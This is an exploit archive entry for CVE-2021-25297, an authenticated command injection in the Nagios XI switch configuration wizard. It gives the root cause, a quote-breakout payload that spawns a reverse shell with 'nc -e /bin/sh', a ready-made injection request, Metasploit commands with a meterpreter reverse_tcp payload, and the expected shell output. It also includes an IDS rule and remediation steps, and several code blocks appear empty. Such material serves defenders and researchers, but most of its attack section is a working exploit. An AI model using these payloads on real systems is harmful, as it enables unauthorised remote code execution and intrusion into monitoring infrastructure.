Nagios XI 5.5.6–5.7.5 Authenticated OS Command Injection — Switch Config Wizard (CVE-2021-25297)
by Matthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh · 2026-07-11
- Severity
- High
- CVE
- CVE-2021-25297
- Category
- web
- Affected product
- Nagios XI — Switch (SNMP) monitoring configuration wizard
- Affected versions
- Nagios XI 5.5.6 through 5.7.5
- Disclosed
- 2026-07-11
- Patch status
- patched
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-25297
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_configwizards_authenticated_rce.rb
- https://www.rapid7.com/db/modules/exploit/linux/http/nagios_xi_configwizards_authenticated_rce/
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://github.com/projectdiscovery/nuclei-templates/pull/6615
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-11 |
| Last Updated | N/A |
| Author / Researcher | Matthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh |
| CVE / Advisory | CVE-2021-25297 |
| Category | web |
| Severity | High |
| CVSS Score | 8.8 (CVSS 3.1, AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized (public Metasploit module + nuclei templates, in CISA KEV) |
| Tags | nagios-xi, os-command-injection, authenticated, config-wizard, switch, cwe-78, kev, metasploit |
| Related | Same disclosure, distinct injection points in the same authenticated RCE chain: 2026-07-11_cve-2021-25296-nagios-xi-windowswmi-command-injection (Windows WMI config wizard), 2026-07-11_cve-2021-25298-nagios-xi-cloudvm-command-injection (cloud-vm config wizard). All three share the same vulnerability class, the same authenticated HTTP entry point (monitoringwizard.php), and the same public Metasploit module. |
Affected Target
| Field | Value |
|---|---|
| Software / System | Nagios XI — Switch (SNMP) monitoring configuration wizard |
| Versions Affected | Nagios XI 5.5.6 through 5.7.5 |
| Language / Platform | PHP (Apache/CentOS-based Nagios XI appliance) |
| Authentication Required | Yes — any valid Nagios XI user account (admin or non-admin) |
| Network Access Required | Yes |
Summary
Nagios XI’s “Switch” configuration wizard (/usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php) generates an MRTG configuration snippet for the monitored switch and writes it into an MRTG config file using a shell sed command built from attacker-supplied HTTP parameters, most notably the target device address. The address value is embedded, unsanitized, inside a quoted sed replacement expression that is itself run through PHP’s exec(). An attacker with any valid Nagios XI login can break out of the quoted context and append arbitrary OS commands, which execute as the apache user. This is one of three sibling command-injection bugs (CVE-2021-25296/25297/25298) disclosed together, each in a different config wizard, all reachable through the same monitoringwizard.php endpoint.
Vulnerability Details
Root Cause
Inside switch.inc.php, the wizard builds an MRTG config-file update using exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file"), where $infoline is constructed from the attacker-controlled address parameter without sanitization. Unlike the sibling windowswmi and cloud-vm wizards, the address value here is interpolated inside a quoted string within the generated line, so exploitation requires closing that quote (") before appending the shell command, then re-opening/terminating the expression cleanly so the sed invocation still parses. The Rapid7 Metasploit module handles this by suffixing the address with \"; <cmd>; rather than the bare ; <cmd>; used against the other two wizards.
Attack Vector
An authenticated GET request to /nagiosxi/config/monitoringwizard.php with wizard=switch, nextstep=3, a valid CSRF nsp token for the session, and the target-address parameter — named address on Nagios XI ≤5.5.7, and renamed ip_address on versions after 5.5.7 — set to a value that closes the surrounding quote and appends a command, e.g.:
ip_address=127.0.0.1";nc -e /bin/sh 127.0.0.1 4445;
(PacketStorm’s advisory shows the simpler unquoted form ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445; as a proof-of-concept payload; the Metasploit module additionally closes the quoted context for reliability against the actual generated sed expression.) No admin privileges are required — any valid, low-privileged Nagios XI login is sufficient, satisfying PR:L in the CVSS vector.
Impact
Remote code execution as the apache user on the Nagios XI host, with the same downstream risk (config/credential access, pivot to monitored infrastructure, potential local root) as the sibling CVE-2021-25296/25298 wizards.
Environment / Lab Setup
OS: Official Nagios XI OVA/ISO, versions 5.5.6 - 5.7.5 (tested against CentOS 7 minimal per the Metasploit module notes)
Target: Nagios XI web UI at https://<target>/nagiosxi/
Attacker: Metasploit Framework 6.x, or curl/Python with a valid Nagios XI login
Tools: msfconsole, curl, Burp Suite
Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Authenticate — Log in to Nagios XI with any valid user account to obtain session cookies and extract the CSRF
nsptoken embedded in the authenticated pages (the Metasploit module’sauthenticate()helper does this automatically).Trigger the Switch wizard, step 3 — Send an authenticated
GETrequest tomonitoringwizard.phpwith the wizard-specific parameters, injecting a shell command via the address parameter (name depends on version —addressfor ≤5.5.7,ip_addressfor later builds):1 2 3GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=<csrf_token>&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3Bid%3B&snmpopts%5Bsnmpcommunity%5D=public&scaninterfaces=on HTTP/1.1 Host: <target> Cookie: <auth_cookies>Observe execution — The Nagios XI backend runs the
sed-based MRTG config update viaexec(), which now also executes the injected command (id;or a reverse-shell one-liner) as theapacheuser.
Exploit Code
See nagios_xi_configwizards_authenticated_rce.rb in this folder — mirrored verbatim from the public Rapid7 Metasploit module exploit/linux/http/nagios_xi_configwizards_authenticated_rce, which supports all three sibling CVEs via a TARGET_CVE datastore option. For CVE-2021-25297 it builds the request as follows (excerpted from that module source):
| |
Note the \"; #{cmd}; suffix (escaped double-quote before the semicolon) — this closes the quoted string context in the generated sed expression before the injected command, distinguishing the payload shape for this CVE from the ; <cmd>; form used against windowswmi (CVE-2021-25296) and cloud-vm (CVE-2021-25298).
Usage:
msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
msf6 exploit(...) > set TARGET_CVE CVE-2021-25297
msf6 exploit(...) > set RHOSTS <target>
msf6 exploit(...) > set USERNAME <nagios_user>
msf6 exploit(...) > set PASSWORD <nagios_pass>
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run
Expected Output
[*] Sending the payload...
[*] Command shell session / Meterpreter session opened
uid=48(apache) gid=48(apache) groups=48(apache)
Detection & Indicators of Compromise
"GET /nagiosxi/config/monitoringwizard.php?...&wizard=switch&...&ip_address=127.0.0.1%22%3Bid%3B... HTTP/1.1" 200
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Nagios XI CVE-2021-25297 switch wizard command injection attempt"; content:"wizard=switch"; http_uri; pcre:"/(address|ip_address)=[^&]*%22%3[bB]/U"; sid:9000102;)
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Nagios XI 5.8.0 or later, which validates/sanitizes config-wizard parameters before shell execution. |
| Workaround | Restrict Nagios XI web UI access to trusted admin networks; disable or remove unused config wizards; enforce least-privilege Nagios XI accounts. |
| Config Hardening | Front the Nagios XI web UI with a WAF rule blocking quote + shell metacharacter sequences in monitoringwizard.php query parameters (see nuclei-templates PR referenced below for an active-check detection template). |
References
- CVE-2021-25297 — NVD
- CISA Known Exploited Vulnerabilities Catalog (added 2022-01-18)
- PacketStorm — Nagios XI 5.7.5 Remote Code Execution
- Rapid7 Metasploit module — nagios_xi_configwizards_authenticated_rce.rb
- Rapid7 module database entry
- fs0c-sh original bug report
- projectdiscovery/nuclei-templates PR #6615
Notes
Surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources — this entry was not independently reproduced against a live Nagios XI instance in this repository; the request shape, the version-dependent parameter name (address vs ip_address), and the quote-breakout payload form (\"; <cmd>;) are grounded directly in the actual Rapid7 Metasploit module source (fetched from rapid7/metasploit-framework on GitHub) and corroborated by the PacketStorm/fs0c-sh technical write-up, which independently confirms the sed/exec() sink for this wizard (though PacketStorm’s own PoC example omits the quote-breakout, using a simpler unquoted ; payload — both were consulted and are cited above). EPSS score at time of ingestion: 0.587. This CVE has been in the CISA KEV catalog since 2022-01-18, confirming in-the-wild exploitation.
Cross-reference: CVE-2021-25296 (windowswmi wizard, plugin_output_len parameter) and CVE-2021-25298 (cloud-vm wizard, address/ip_address parameter) were disclosed as part of the same batch and share the same authenticated entry point, CSRF-token retrieval flow, and Metasploit module — see the sibling entries linked above.
| |